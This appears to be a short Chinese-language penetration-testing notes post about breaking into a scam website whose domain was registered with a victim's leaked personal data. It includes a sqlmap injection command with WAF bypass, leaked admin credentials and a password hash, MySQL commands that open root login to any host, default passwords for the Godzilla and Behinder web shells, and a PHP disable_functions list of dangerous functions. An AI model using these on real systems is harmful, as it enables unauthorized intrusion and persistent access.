个人信息泄露--》被注册域名--》本人并不知情--》在我们之前很多人都被骗过

sqlmap.py -r g:\1.txt --random-agent --skip-waf -v3 --dbs --batch --threads 10 --technique E

$set_username="admin";
$set_password="e19d5cd5af0378da05f63f891c7467af";
$set_loginauth="123456";
$set_loginrnd="YFfd33mV2MrKwDenkecYWZETWgUwMV";
$set_outtime="60";
$set_loginkey="1";

/config/sbak/admin.php
账号/密码admin/abcd1234

进入mysql：
mysql -uroot -p
运行mysql：
use mysql;
查看用户表：
SELECT `Host`,`User` FROM user;
更新用户表：
UPDATE user SET `Host` = '%' WHERE `User` = 'root' LIMIT 1;
强制刷新权限：
flush privileges;

密码如下：
哥斯拉：config123 
冰蝎：rebeyond

为了安全,运维人员会禁用PHP的一些“危险”函数,将其写在php.ini配置文件中,就是我们所说的disable_functions了。例如：
passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,link等

好文推荐